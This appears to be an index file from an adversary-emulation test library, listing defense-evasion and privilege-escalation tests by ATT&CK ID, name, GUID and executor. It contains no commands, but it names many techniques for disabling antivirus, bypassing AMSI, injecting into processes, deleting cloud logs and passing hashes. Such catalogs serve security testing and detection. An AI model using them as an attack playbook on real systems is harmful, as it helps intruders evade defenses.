stealth,7869d7a3-3a30-4d2c-a5d2-f1cd9c34ce66,powershell +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,31,Tamper with Windows Defender ATP using Aliases - PowerShell,c531aa6e-9c97-4b29-afee-9b7be6fc8a64,powershell +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,32,LockBit Black - Disable Privacy Settings Experience Using Registry -cmd,d6d22332-d07d-498f-aea0-6139ecb7850e,command_prompt +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,33,LockBit Black - Use Registry Editor to turn on automatic logon -cmd,9719d0e1-4fe0-4b2e-9a72-7ad3ee8ddc70,command_prompt +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,34,LockBit Black - Disable Privacy Settings Experience Using Registry -Powershell,d8c57eaa-497a-4a08-961e-bd5efd7c9374,powershell +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,35,Lockbit Black - Use Registry Editor to turn on automatic logon -Powershell,5e27f36d-5132-4537-b43b-413b0d5eec9a,powershell +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,36,Disable Windows Defender with PwSh Disable-WindowsOptionalFeature,f542ffd3-37b4-4528-837f-682874faa012,powershell +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,37,WMIC Tamper with Windows Defender Evade Scanning Folder,59d386fc-3a4b-41b8-850d-9e3eee24dfe4,command_prompt +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,38,Delete Windows Defender Scheduled Tasks,4b841aa1-0d05-4b32-bbe7-7564346e7c76,command_prompt +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,39,Clear History,23b88394-091b-4968-a42d-fb8076992443,sh +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,40,Suspend History,94f6a1c9-aae7-46a4-9083-2bb1f5768ec4,sh +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,41,Reboot Linux Host via Kernel System Request,6d6d3154-1a52-4d1a-9d51-92ab8148b32e,sh +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,42,Clear Pagging Cache,f790927b-ea85-4a16-b7b2-7eb44176a510,sh +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,43,Disable Memory Swap,e74e4c63-6fde-4ad2-9ee8-21c3a1733114,sh +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,44,Disable Hypervisor-Enforced Code Integrity (HVCI),70bd71e6-eba4-4e00-92f7-617911dbe020,powershell +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,45,AMSI Bypass - Override AMSI via COM,17538258-5699-4ff1-92d1-5ac9b0dc21f5,command_prompt +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,46,AWS - GuardDuty Suspension or Deletion,11e65d8d-e7e4-470e-a3ff-82bc56ad938e,bash +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,47,Tamper with Defender ATP on Linux/MacOS,40074085-dbc8-492b-90a3-11bcfc52fda8,sh +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,48,Tamper with Windows Defender Registry - Reg.exe,1f6743da-6ecc-4a93-b03f-dc357e4b313f,command_prompt +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,49,Tamper with Windows Defender Registry - Powershell,a72cfef8-d252-48b3-b292-635d332625c3,powershell +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,50,ESXi - Disable Account Lockout Policy via PowerCLI,091a6290-cd29-41cb-81ea-b12f133c66cb,powershell +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,51,Delete Microsoft Defender ASR Rules - InTune,eea0a6c2-84e9-4e8c-a242-ac585d28d0d1,powershell +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,52,Delete Microsoft Defender ASR Rules - GPO,0e7b8a4b-2ca5-4743-a9f9-96051abb6e50,powershell +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,53,AMSI Bypass - Create AMSIEnable Reg Key,728eca7b-0444-4f6f-ac36-437e3d751dc0,powershell +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,54,Disable EventLog-Application Auto Logger Session Via Registry - Cmd,653c6e17-14a2-4849-851d-f1c0cc8ea9ab,command_prompt +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,55,Disable EventLog-Application Auto Logger Session Via Registry - PowerShell,da86f239-9bd3-4e85-92ed-4a94ef111a1c,powershell +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,56,Disable EventLog-Application ETW Provider Via Registry - Cmd,1cac9b54-810e-495c-8aac-989e0076583b,command_prompt +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,57,Disable EventLog-Application ETW Provider Via Registry - PowerShell,8f907648-1ebf-4276-b0f0-e2678ca474f0,powershell +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,58,Freeze PPL-protected process with EDR-Freeze,cbb2573a-a6ad-4c87-aef8-6e175598559b,powershell +defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,59,Disable ASLR Via sysctl parameters - Linux,ac333fe1-ce2b-400b-a117-538634427439,bash +defense-evasion,T1055.012,Process Injection: Process Hollowing,1,Process Hollowing using PowerShell,562427b4-39ef-4e8c-af88-463a78e70b9c,powershell +defense-evasion,T1055.012,Process Injection: Process Hollowing,2,RunPE via VBA,3ad4a037-1598-4136-837c-4027e4fa319b,powershell +defense-evasion,T1055.012,Process Injection: Process Hollowing,3,Process Hollowing in Go using CreateProcessW WinAPI,c8f98fe1-c89b-4c49-a7e3-d60ee4bc2f5a,powershell +defense-evasion,T1055.012,Process Injection: Process Hollowing,4,Process Hollowing in Go using CreateProcessW and CreatePipe WinAPIs (T1055.012),94903cc5-d462-498a-b919-b1e5ab155fee,powershell +defense-evasion,T1027,Obfuscated Files or Information,1,Decode base64 Data into Script,f45df6be-2e1e-4136-a384-8f18ab3826fb,sh +defense-evasion,T1027,Obfuscated Files or Information,2,Execute base64-encoded PowerShell,a50d5a97-2531-499e-a1de-5544c74432c6,powershell +defense-evasion,T1027,Obfuscated Files or Information,3,Execute base64-encoded PowerShell from Windows Registry,450e7218-7915-4be4-8b9b-464a49eafcec,powershell +defense-evasion,T1027,Obfuscated Files or Information,4,Execution from Compressed File,f8c8a909-5f29-49ac-9244-413936ce6d1f,command_prompt +defense-evasion,T1027,Obfuscated Files or Information,5,DLP Evasion via Sensitive Data in VBA Macro over email,129edb75-d7b8-42cd-a8ba-1f3db64ec4ad,powershell +defense-evasion,T1027,Obfuscated Files or Information,6,DLP Evasion via Sensitive Data in VBA Macro over HTTP,e2d85e66-cb66-4ed7-93b1-833fc56c9319,powershell +defense-evasion,T1027,Obfuscated Files or Information,7,Obfuscated Command in PowerShell,8b3f4ed6-077b-4bdd-891c-2d237f19410f,powershell +defense-evasion,T1027,Obfuscated Files or Information,8,Obfuscated Command Line using special Unicode characters,e68b945c-52d0-4dd9-a5e8-d173d70c448f,manual +defense-evasion,T1027,Obfuscated Files or Information,9,Snake Malware Encrypted crmlog file,7e47ee60-9dd1-4269-9c4f-97953b183268,powershell +defense-evasion,T1027,Obfuscated Files or Information,10,Execution from Compressed JScript File,fad04df1-5229-4185-b016-fb6010cd87ac,command_prompt +defense-evasion,T1564.006,Run Virtual Instance,1,Register Portable Virtualbox,c59f246a-34f8-4e4d-9276-c295ef9ba0dd,command_prompt +defense-evasion,T1564.006,Run Virtual Instance,2,Create and start VirtualBox virtual machine,88b81702-a1c0-49a9-95b2-2dd53d755767,command_prompt +defense-evasion,T1564.006,Run Virtual Instance,3,Create and start Hyper-V virtual machine,fb8d4d7e-f5a4-481c-8867-febf13f8b6d3,powershell +defense-evasion,T1134.005,Access Token Manipulation: SID-History Injection,1,Injection SID-History with mimikatz,6bef32e5-9456-4072-8f14-35566fb85401,command_prompt +defense-evasion,T1218.010,Signed Binary Proxy Execution: Regsvr32,1,Regsvr32 local COM scriptlet execution,449aa403-6aba-47ce-8a37-247d21ef0306,command_prompt +defense-evasion,T1218.010,Signed Binary Proxy Execution: Regsvr32,2,Regsvr32 remote COM scriptlet execution,c9d0c4ef-8a96-4794-a75b-3d3a5e6f2a36,command_prompt +defense-evasion,T1218.010,Signed Binary Proxy Execution: Regsvr32,3,Regsvr32 local DLL execution,08ffca73-9a3d-471a-aeb0-68b4aa3ab37b,command_prompt +defense-evasion,T1218.010,Signed Binary Proxy Execution: Regsvr32,4,Regsvr32 Registering Non DLL,1ae5ea1f-0a4e-4e54-b2f5-4ac328a7f421,command_prompt +defense-evasion,T1218.010,Signed Binary Proxy Execution: Regsvr32,5,Regsvr32 Silent DLL Install Call DllRegisterServer,9d71c492-ea2e-4c08-af16-c6994cdf029f,command_prompt +defense-evasion,T1036.003,Masquerading: Rename System Utilities,1,Masquerading as Windows LSASS process,5ba5a3d1-cf3c-4499-968a-a93155d1f717,command_prompt +defense-evasion,T1036.003,Masquerading: Rename System Utilities,2,Masquerading as FreeBSD or Linux crond process.,a315bfff-7a98-403b-b442-2ea1b255e556,sh +defense-evasion,T1036.003,Masquerading: Rename System Utilities,3,Masquerading - cscript.exe running as notepad.exe,3a2a578b-0a01-46e4-92e3-62e2859b42f0,command_prompt +defense-evasion,T1036.003,Masquerading: Rename System Utilities,4,Masquerading - wscript.exe running as svchost.exe,24136435-c91a-4ede-9da1-8b284a1c1a23,command_prompt +defense-evasion,T1036.003,Masquerading: Rename System Utilities,5,Masquerading - powershell.exe running as taskhostw.exe,ac9d0fc3-8aa8-4ab5-b11f-682cd63b40aa,command_prompt +defense-evasion,T1036.003,Masquerading: Rename System Utilities,6,Masquerading - non-windows exe running as windows exe,bc15c13f-d121-4b1f-8c7d-28d95854d086,powershell +defense-evasion,T1036.003,Masquerading: Rename System Utilities,7,Masquerading - windows exe running as different windows exe,c3d24a39-2bfe-4c6a-b064-90cd73896cb0,powershell +defense-evasion,T1036.003,Masquerading: Rename System Utilities,8,Malicious process Masquerading as LSM.exe,83810c46-f45e-4485-9ab6-8ed0e9e6ed7f,command_prompt +defense-evasion,T1574.009,Hijack Execution Flow: Path Interception by Unquoted Path,1,Execution of program.exe as service with unquoted service path,2770dea7-c50f-457b-84c4-c40a47460d9f,command_prompt +defense-evasion,T1218.009,Signed Binary Proxy Execution: Regsvcs/Regasm,1,Regasm Uninstall Method Call Test,71bfbfac-60b1-4fc0-ac8b-2cedbbdcb112,command_prompt +defense-evasion,T1218.009,Signed Binary Proxy Execution: Regsvcs/Regasm,2,Regsvcs Uninstall Method Call Test,fd3c1c6a-02d2-4b72-82d9-71c527abb126,powershell +defense-evasion,T1553.004,Subvert Trust Controls: Install Root Certificate,1,Install root CA on CentOS/RHEL,9c096ec4-fd42-419d-a762-d64cc950627e,sh +defense-evasion,T1553.004,Subvert Trust Controls: Install Root Certificate,2,Install root CA on FreeBSD,f4568003-1438-44ab-a234-b3252ea7e7a3,sh +defense-evasion,T1553.004,Subvert Trust Controls: Install Root Certificate,3,Install root CA on Debian/Ubuntu,53bcf8a0-1549-4b85-b919-010c56d724ff,sh +defense-evasion,T1553.004,Subvert Trust Controls: Install Root Certificate,4,Install root CA on macOS,cc4a0b8c-426f-40ff-9426-4e10e5bf4c49,sh +defense-evasion,T1553.004,Subvert Trust Controls: Install Root Certificate,5,Install root CA on Windows,76f49d86-5eb1-461a-a032-a480f86652f1,powershell +defense-evasion,T1553.004,Subvert Trust Controls: Install Root Certificate,6,Install root CA on Windows with certutil,5fdb1a7a-a93c-4fbe-aa29-ddd9ef94ed1f,powershell +defense-evasion,T1553.004,Subvert Trust Controls: Install Root Certificate,7,Add Root Certificate to CurrentUser Certificate Store,ca20a3f1-42b5-4e21-ad3f-1049199ec2e0,powershell +defense-evasion,T1027.004,Obfuscated Files or Information: Compile After Delivery,1,Compile After Delivery using csc.exe,ffcdbd6a-b0e8-487d-927a-09127fe9a206,command_prompt +defense-evasion,T1027.004,Obfuscated Files or Information: Compile After Delivery,2,Dynamic C# Compile,453614d8-3ba6-4147-acc0-7ec4b3e1faef,powershell +defense-evasion,T1027.004,Obfuscated Files or Information: Compile After Delivery,3,C compile,d0377aa6-850a-42b2-95f0-de558d80be57,sh +defense-evasion,T1027.004,Obfuscated Files or Information: Compile After Delivery,4,CC compile,da97bb11-d6d0-4fc1-b445-e443d1346efe,sh +defense-evasion,T1027.004,Obfuscated Files or Information: Compile After Delivery,5,Go compile,78bd3fa7-773c-449e-a978-dc1f1500bc52,sh +defense-evasion,T1197,BITS Jobs,1,Bitsadmin Download (cmd),3c73d728-75fb-4180-a12f-6712864d7421,command_prompt +defense-evasion,T1197,BITS Jobs,2,Bitsadmin Download (PowerShell),f63b8bc4-07e5-4112-acba-56f646f3f0bc,powershell +defense-evasion,T1197,BITS Jobs,3,"Persist, Download, & Execute",62a06ec5-5754-47d2-bcfc-123d8314c6ae,command_prompt +defense-evasion,T1197,BITS Jobs,4,Bits download using desktopimgdownldr.exe (cmd),afb5e09e-e385-4dee-9a94-6ee60979d114,command_prompt +defense-evasion,T1127.001,Trusted Developer Utilities Proxy Execution: MSBuild,1,MSBuild Bypass Using Inline Tasks (C#),58742c0f-cb01-44cd-a60b-fb26e8871c93,command_prompt +defense-evasion,T1127.001,Trusted Developer Utilities Proxy Execution: MSBuild,2,MSBuild Bypass Using Inline Tasks (VB),ab042179-c0c5-402f-9bc8-42741f5ce359,command_prompt +defense-evasion,T1562.008,Impair Defenses: Disable Cloud Logs,1,AWS - CloudTrail Changes,9c10dc6b-20bd-403a-8e67-50ef7d07ed4e,sh +defense-evasion,T1562.008,Impair Defenses: Disable Cloud Logs,2,Azure - Eventhub Deletion,5e09bed0-7d33-453b-9bf3-caea32bff719,powershell +defense-evasion,T1562.008,Impair Defenses: Disable Cloud Logs,3,Office 365 - Exchange Audit Log Disabled,1ee572f3-056c-4632-a7fc-7e7c42b1543c,powershell +defense-evasion,T1562.008,Impair Defenses: Disable Cloud Logs,4,AWS - Disable CloudTrail Logging Through Event Selectors using Stratus,a27418de-bdce-4ebd-b655-38f11142bf0c,sh +defense-evasion,T1562.008,Impair Defenses: Disable Cloud Logs,5,AWS - CloudTrail Logs Impairment Through S3 Lifecycle Rule using Stratus,22d89a2f-d475-4895-b2d4-68626d49c029,sh +defense-evasion,T1562.008,Impair Defenses: Disable Cloud Logs,6,AWS - Remove VPC Flow Logs using Stratus,93c150f5-ad7b-4ee3-8992-df06dec2ac79,sh +defense-evasion,T1562.008,Impair Defenses: Disable Cloud Logs,7,AWS - CloudWatch Log Group Deletes,89422c87-b57b-4a04-a8ca-802bb9d06121,sh +defense-evasion,T1562.008,Impair Defenses: Disable Cloud Logs,8,AWS CloudWatch Log Stream Deletes,33ca84bc-4259-4943-bd36-4655dc420932,sh +defense-evasion,T1562.008,Impair Defenses: Disable Cloud Logs,9,Office 365 - Set Audit Bypass For a Mailbox,c9a2f6fe-7197-488c-af6d-10c782121ca6,powershell +defense-evasion,T1562.008,Impair Defenses: Disable Cloud Logs,10,GCP - Delete Activity Event Log,d56152ec-01d9-42a2-877c-aac1f6ebe8e6,sh +defense-evasion,T1564.003,Hide Artifacts: Hidden Window,1,Hidden Window,f151ee37-9e2b-47e6-80e4-550b9f999b7a,powershell +defense-evasion,T1564.003,Hide Artifacts: Hidden Window,2,Headless Browser Accessing Mockbin,0ad9ab92-c48c-4f08-9b20-9633277c4646,command_prompt +defense-evasion,T1564.003,Hide Artifacts: Hidden Window,3,Hidden Window-Conhost Execution,5510d22f-2595-4911-8456-4d630c978616,powershell +defense-evasion,T1027.006,HTML Smuggling,1,HTML Smuggling Remote Payload,30cbeda4-08d9-42f1-8685-197fad677734,powershell +defense-evasion,T1070.004,Indicator Removal on Host: File Deletion,1,Delete a single file - FreeBSD/Linux/macOS,562d737f-2fc6-4b09-8c2a-7f8ff0828480,sh +defense-evasion,T1070.004,Indicator Removal on Host: File Deletion,2,Delete an entire folder - FreeBSD/Linux/macOS,a415f17e-ce8d-4ce2-a8b4-83b674e7017e,sh +defense-evasion,T1070.004,Indicator Removal on Host: File Deletion,3,Overwrite and delete a file with shred,039b4b10-2900-404b-b67f-4b6d49aa6499,sh +defense-evasion,T1070.004,Indicator Removal on Host: File Deletion,4,Delete a single file - Windows cmd,861ea0b4-708a-4d17-848d-186c9c7f17e3,command_prompt +defense-evasion,T1070.004,Indicator Removal on Host: File Deletion,5,Delete an entire folder - Windows cmd,ded937c4-2add-42f7-9c2c-c742b7a98698,command_prompt +defense-evasion,T1070.004,Indicator Removal on Host: File Deletion,6,Delete a single file - Windows PowerShell,9dee89bd-9a98-4c4f-9e2d-4256690b0e72,powershell +defense-evasion,T1070.004,Indicator Removal on Host: File Deletion,7,Delete an entire folder - Windows PowerShell,edd779e4-a509-4cba-8dfa-a112543dbfb1,powershell +defense-evasion,T1070.004,Indicator Removal on Host: File Deletion,8,Delete Filesystem - Linux,f3aa95fe-4f10-4485-ad26-abf22a764c52,sh +defense-evasion,T1070.004,Indicator Removal on Host: File Deletion,9,Delete Prefetch File,36f96049-0ad7-4a5f-8418-460acaeb92fb,powershell +defense-evasion,T1070.004,Indicator Removal on Host: File Deletion,10,Delete TeamViewer Log Files,69f50a5f-967c-4327-a5bb-e1a9a9983785,powershell +defense-evasion,T1070.004,Indicator Removal on Host: File Deletion,11,Clears Recycle bin via rd,f723d13d-48dc-4317-9990-cf43a9ac0bf2,command_prompt +defense-evasion,T1221,Template Injection,1,WINWORD Remote Template Injection,1489e08a-82c7-44ee-b769-51b72d03521d,command_prompt +defense-evasion,T1027.002,Obfuscated Files or Information: Software Packing,1,Binary simply packed by UPX (linux),11c46cd8-e471-450e-acb8-52a1216ae6a4,sh +defense-evasion,T1027.002,Obfuscated Files or Information: Software Packing,2,"Binary packed by UPX, with modified headers (linux)",f06197f8-ff46-48c2-a0c6-afc1b50665e1,sh +defense-evasion,T1027.002,Obfuscated Files or Information: Software Packing,3,Binary simply packed by UPX,b16ef901-00bb-4dda-b4fc-a04db5067e20,sh +defense-evasion,T1027.002,Obfuscated Files or Information: Software Packing,4,"Binary packed by UPX, with modified headers",4d46e16b-5765-4046-9f25-a600d3e65e4d,sh +defense-evasion,T1622,Debugger Evasion,1,Detect a Debugger Presence in the Machine,58bd8c8d-3a1a-4467-a69c-439c75469b07,powershell +defense-evasion,T1036.006,Masquerading: Space after Filename,1,Space After Filename (Manual),89a7dd26-e510-4c9f-9b15-f3bae333360f,manual +defense-evasion,T1036.006,Masquerading: Space after Filename,2,Space After Filename,b95ce2eb-a093-4cd8-938d-5258cef656ea,sh +defense-evasion,T1550.002,Use Alternate Authentication Material: Pass the Hash,1,Mimikatz Pass the Hash,ec23cef9-27d9-46e4-a68d-6f75f7b86908,command_prompt +defense-evasion,T1550.002,Use Alternate Authentication Material: Pass the Hash,2,crackmapexec Pass the Hash,eb05b028-16c8-4ad8-adea-6f5b219da9a9,command_prompt +defense-evasion,T1550.002,Use Alternate Authentication Material: Pass the Hash,3,Invoke-WMIExec Pass the Hash,f8757545-b00a-4e4e-8cfb-8cfb961ee713,powershell +defense-evasion,T1027.007,Obfuscated Files or Information: Dynamic API Resolution,1,Dynamic API Resolution-Ninja-syscall,578025d5-faa9-4f6d-8390-aae739d507e1,powershell +defense-evasion,T1055.015,Process Injection: ListPlanting,1,Process injection ListPlanting,4f3c7502-b111-4dfe-8a6e-529307891a59,powershell +defense-evasion,T1220,XSL Script Processing,1,MSXSL Bypass using local files,ca23bfb2-023f-49c5-8802-e66997de462d,command_prompt +defense-evasion,T1220,XSL Script Processing,2,MSXSL Bypass using remote files,a7c3ab07-52fb-49c8-ab6d-e9c6d4a0a985,command_prompt +defense-evasion,T1220,XSL Script Processing,3,WMIC bypass using local XSL file,1b237334-3e21-4a0c-8178-b8c996124988,command_prompt +defense-evasion,T1220,XSL Script Processing,4,WMIC bypass using remote XSL file,7f5be499-33be-4129-a560-66021f379b9b,command_prompt +defense-evasion,T1564.001,Hide Artifacts: Hidden Files and Directories,1,Create a hidden file in a hidden directory,61a782e5-9a19-40b5-8ba4-69a4b9f3d7be,sh +defense-evasion,T1564.001,Hide Artifacts: Hidden Files and Directories,2,Mac Hidden file,cddb9098-3b47-4e01-9d3b-6f5f323288a9,sh +defense-evasion,T1564.001,Hide Artifacts: Hidden Files and Directories,3,Create Windows System File with Attrib,f70974c8-c094-4574-b542-2c545af95a32,command_prompt +defense-evasion,T1564.001,Hide Artifacts: Hidden Files and Directories,4,Create Windows Hidden File with Attrib,dadb792e-4358-4d8d-9207-b771faa0daa5,command_prompt +defense-evasion,T1564.001,Hide Artifacts: Hidden Files and Directories,5,Hidden files,3b7015f2-3144-4205-b799-b05580621379,sh +defense-evasion,T1564.001,Hide Artifacts: Hidden Files and Directories,6,Hide a Directory,b115ecaf-3b24-4ed2-aefe-2fcb9db913d3,sh +defense-evasion,T1564.001,Hide Artifacts: Hidden Files and Directories,7,Show all hidden files,9a1ec7da-b892-449f-ad68-67066d04380c,sh +defense-evasion,T1564.001,Hide Artifacts: Hidden Files and Directories,8,Hide Files Through Registry,f650456b-bd49-4bc1-ae9d-271b5b9581e7,command_prompt +defense-evasion,T1564.001,Hide Artifacts: Hidden Files and Directories,9,Create Windows Hidden File with powershell,7f66d539-4fbe-4cfa-9a56-4a2bf660c58a,powershell +defense-evasion,T1564.001,Hide Artifacts: Hidden Files and Directories,10,Create Windows System File with powershell,d380c318-0b34-45cb-9dad-828c11891e43,powershell +defense-evasion,T1578.001,Modify Cloud Compute Infrastructure: Create Snapshot,1,AWS - Create Snapshot from EBS Volume,a3c09662-85bb-4ea8-b15b-6dc8a844e236,sh +defense-evasion,T1578.001,Modify Cloud Compute Infrastructure: Create Snapshot,2,Azure - Create Snapshot from Managed Disk,89e69b4b-3458-4ec6-b819-b3008debc1bc,sh +defense-evasion,T1578.001,Modify Cloud Compute Infrastructure: Create Snapshot,3,GCP - Create Snapshot from Persistent Disk,e6fbc036-91e7-4ad3-b9cb-f7210f40dd5d,sh +defense-evasion,T1078.004,Valid Accounts: Cloud Accounts,1,Creating GCP Service Account and Service Account Key,9fdd83fd-bd53-46e5-a716-9dec89c8ae8e,sh +defense-evasion,T1078.004,Valid Accounts: Cloud Accounts,2,Azure Persistence Automation Runbook Created or Modified,348f4d14-4bd3-4f6b-bd8a-61237f78b3ac,powershell +defense-evasion,T1078.004,Valid Accounts: Cloud Accounts,3,GCP - Create Custom IAM Role,3a159042-69e6-4398-9a69-3308a4841c85,sh +defense-evasion,T1564.004,Hide Artifacts: NTFS File Attributes,1,Alternate Data Streams (ADS),8822c3b0-d9f9-4daf-a043-49f4602364f4,command_prompt +defense-evasion,T1564.004,Hide Artifacts: NTFS File Attributes,2,Store file in Alternate Data Stream (ADS),2ab75061-f5d5-4c1a-b666-ba2a50df5b02,powershell +defense-evasion,T1564.004,Hide Artifacts: NTFS File Attributes,3,Create ADS command prompt,17e7637a-ddaf-4a82-8622-377e20de8fdb,command_prompt +defense-evasion,T1564.004,Hide Artifacts: NTFS File Attributes,4,Create ADS PowerShell,0045ea16-ed3c-4d4c-a9ee-15e44d1560d1,powershell +defense-evasion,T1564.004,Hide Artifacts: NTFS File Attributes,5,Create Hidden Directory via $index_allocation,3e6791e7-232c-481c-a680-a52f86b83fdf,command_prompt +defense-evasion,T1055.001,Process Injection: Dynamic-link Library Injection,1,Process Injection via mavinject.exe,74496461-11a1-4982-b439-4d87a550d254,powershell +defense-evasion,T1055.001,Process Injection: Dynamic-link Library Injection,2,WinPwn - Get SYSTEM shell - Bind System Shell using UsoClient DLL load technique,8b56f787-73d9-4f1d-87e8-d07e89cbc7f5,powershell +defense-evasion,T1216,Signed Script Proxy Execution,1,SyncAppvPublishingServer Signed Script PowerShell Command Execution,275d963d-3f36-476c-8bef-a2a3960ee6eb,command_prompt +defense-evasion,T1216,Signed Script Proxy Execution,2,manage-bde.wsf Signed Script Command Execution,2a8f2d3c-3dec-4262-99dd-150cb2a4d63a,command_prompt +defense-evasion,T1078.003,Valid Accounts: Local Accounts,1,Create local account with admin privileges,a524ce99-86de-4db6-b4f9-e08f35a47a15,command_prompt +defense-evasion,T1078.003,Valid Accounts: Local Accounts,2,Create local account with admin privileges - MacOS,f1275566-1c26-4b66-83e3-7f9f7f964daa,bash +defense-evasion,T1078.003,Valid Accounts: Local Accounts,3,Create local account with admin privileges using sysadminctl utility - MacOS,191db57d-091a-47d5-99f3-97fde53de505,bash +defense-evasion,T1078.003,Valid Accounts: Local Accounts,4,Enable root account using dsenableroot utility - MacOS,20b40ea9-0e17-4155-b8e6-244911a678ac,bash +defense-evasion,T1078.003,Valid Accounts: Local Accounts,5,Add a new/existing user to the admin group using dseditgroup utility - macOS,433842ba-e796-4fd5-a14f-95d3a1970875,bash +defense-evasion,T1078.003,Valid Accounts: Local Accounts,6,WinPwn - Loot local Credentials - powerhell kittie,9e9fd066-453d-442f-88c1-ad7911d32912,powershell +defense-evasion,T1078.003,Valid Accounts: Local Accounts,7,WinPwn - Loot local Credentials - Safetykatz,e9fdb899-a980-4ba4-934b-486ad22e22f4,powershell +defense-evasion,T1078.003,Valid Accounts: Local Accounts,8,Create local account (Linux),02a91c34-8a5b-4bed-87af-501103eb5357,bash +defense-evasion,T1078.003,Valid Accounts: Local Accounts,9,Reactivate a locked/expired account (Linux),d2b95631-62d7-45a3-aaef-0972cea97931,bash +defense-evasion,T1078.003,Valid Accounts: Local Accounts,10,Reactivate a locked/expired account (FreeBSD),09e3380a-fae5-4255-8b19-9950be0252cf,sh +defense-evasion,T1078.003,Valid Accounts: Local Accounts,11,Login as nobody (Linux),3d2cd093-ee05-41bd-a802-59ee5c301b85,bash +defense-evasion,T1078.003,Valid Accounts: Local Accounts,12,Login as nobody (freebsd),16f6374f-7600-459a-9b16-6a88fd96d310,sh +defense-evasion,T1078.003,Valid Accounts: Local Accounts,13,Use PsExec to elevate to NT Authority\SYSTEM account,6904235f-0f55-4039-8aed-41c300ff7733,command_prompt +defense-evasion,T1127,Trusted Developer Utilities Proxy Execution,1,Lolbin Jsc.exe compile javascript to exe,1ec1c269-d6bd-49e7-b71b-a461f7fa7bc8,command_prompt +defense-evasion,T1127,Trusted Developer Utilities Proxy Execution,2,Lolbin Jsc.exe compile javascript to dll,3fc9fea2-871d-414d-8ef6-02e85e322b80,command_prompt +defense-evasion,T1574.012,Hijack Execution Flow: COR_PROFILER,1,User scope COR_PROFILER,9d5f89dc-c3a5-4f8a-a4fc-a6ed02e7cb5a,powershell +defense-evasion,T1574.012,Hijack Execution Flow: COR_PROFILER,2,System Scope COR_PROFILER,f373b482-48c8-4ce4-85ed-d40c8b3f7310,powershell +defense-evasion,T1574.012,Hijack Execution Flow: COR_PROFILER,3,Registry-free process scope COR_PROFILER,79d57242-bbef-41db-b301-9d01d9f6e817,powershell +privilege-escalation,T1055.011,Process Injection: Extra Window Memory Injection,1,Process Injection via Extra Window Memory (EWM) x64 executable,93ca40d2-336c-446d-bcef-87f14d438018,powershell +privilege-escalation,T1053.005,Scheduled Task/Job: Scheduled Task,1,Scheduled Task Startup Script,fec27f65-db86-4c2d-b66c-61945aee87c2,command_prompt +privilege-escalation,T1053.005,Scheduled Task/Job: Scheduled Task,2,Scheduled task Local,42f53695-ad4a-4546-abb6-7d837f644a71,command_prompt +privilege-escalation,T1053.005,Scheduled Task/Job: Scheduled Task,3,Scheduled task Remote,2e5eac3e-327b-4a88-a0c0-c4057039a8dd,command_prompt +privilege-escalation,T1053.005,Scheduled Task/Job: Scheduled Task,4,Powershell Cmdlet Scheduled Task,af9fd58f-c4ac-4bf2-a9ba-224b71ff25fd,powershell +privilege-escalation,T1053.005,Scheduled Task/Job: Scheduled Task,5,Task Scheduler via VBA,ecd3fa21-7792-41a2-8726-2c5c673414d3,powershell +privilege-escalation,T1053.005,Scheduled Task/Job: Scheduled Task,6,WMI Invoke-CimMethod Scheduled Task,e16b3b75-dc9e-4cde-a23d-dfa2d0507b3b,powershell +privilege-escalation,T1053.005,Scheduled Task/Job: Scheduled Task,7,Scheduled Task Executing Base64 Encoded Commands From Registry,e895677d-4f06-49ab-91b6-ae3742d0a2ba,command_prompt +privilege-escalation,T1053.005,Scheduled Task/Job: Scheduled Task,8,Import XML Schedule Task with Hidden Attribute,cd925593-fbb4-486d-8def-16cbdf944bf4,powershell +privilege-escalation,T1053.005,Scheduled Task/Job: Scheduled Task,9,PowerShell Modify A Scheduled Task,dda6fc7b-c9a6-4c18-b98d-95ec6542af6d,powershell +privilege-escalation,T1053.005,Scheduled Task/Job: Scheduled Task,10,"Scheduled Task (""Ghost Task"") via Registry Key Manipulation",704333ca-cc12-4bcf-9916-101844881f54,command_prompt +privilege-escalation,T1053.005,Scheduled Task/Job: Scheduled Task,11,Scheduled Task Persistence via CompMgmt.msc,8fcfa3d5-ea7d-4e1c-bd3e-3c4ed315b7d2,command_prompt +privilege-escalation,T1053.005,Scheduled Task/Job: Scheduled Task,12,Scheduled Task Persistence via Eventviewer.msc,02124c37-767e-4b76-9383-c9fc366d9d4c,command_prompt +privilege-escalation,T1546.013,Event Triggered Execution: PowerShell Profile,1,Append malicious start-process cmdlet,090e5aa5-32b6-473b-a49b-21e843a56896,powershell +privilege-escalation,T1053.007,Kubernetes Cronjob,1,ListCronjobs,ddfb0bc1-3c3f-47e9-a298-550ecfefacbd,bash +privilege-escalation,T1053.007,Kubernetes Cronjob,2,CreateCronjob,f2fa019e-fb2a-4d28-9dc6-fd1a9b7f68c3,bash +privilege-escalation,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,1,Bypass UAC using Event Viewer (cmd),5073adf8-9a50-4bd9-b298-a9bd2ead8af9,command_prompt +privilege-escalation,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,2,Bypass UAC using Event Viewer 